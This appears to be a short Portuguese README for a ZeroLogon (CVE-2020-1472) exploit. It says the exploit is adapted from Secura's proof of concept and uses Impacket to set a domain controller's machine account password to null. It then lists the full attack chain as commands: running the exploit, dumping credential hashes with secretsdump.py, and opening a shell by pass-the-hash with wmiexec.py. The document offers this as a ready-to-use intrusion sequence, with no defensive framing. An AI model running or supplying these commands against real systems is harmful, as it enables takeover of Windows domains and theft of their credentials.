ZeroLogon - Exploit e Exemplo

Modificado o PoC de teste do Secura, CVE-2020-1472, para alterar a senha da máquina para nulo. A alteração da senha na máquina utiliza a função NetrServerPasswordSet2() da Microsoft. Este exploit aproveita o módulo nrpc.py do Impacket para chamar NetrServerPasswordSet2().

Executar o exploit

./zerologon_NULLPASS.py <dc-name> <dc-ip>

Extrair os hashes

secretsdump.py -no-pass <dc-name>\$@<dc-ip>

Pass-The-Hash para acesso ao shell

wmiexec.py -hashes <LM:NT> <username>@<ip>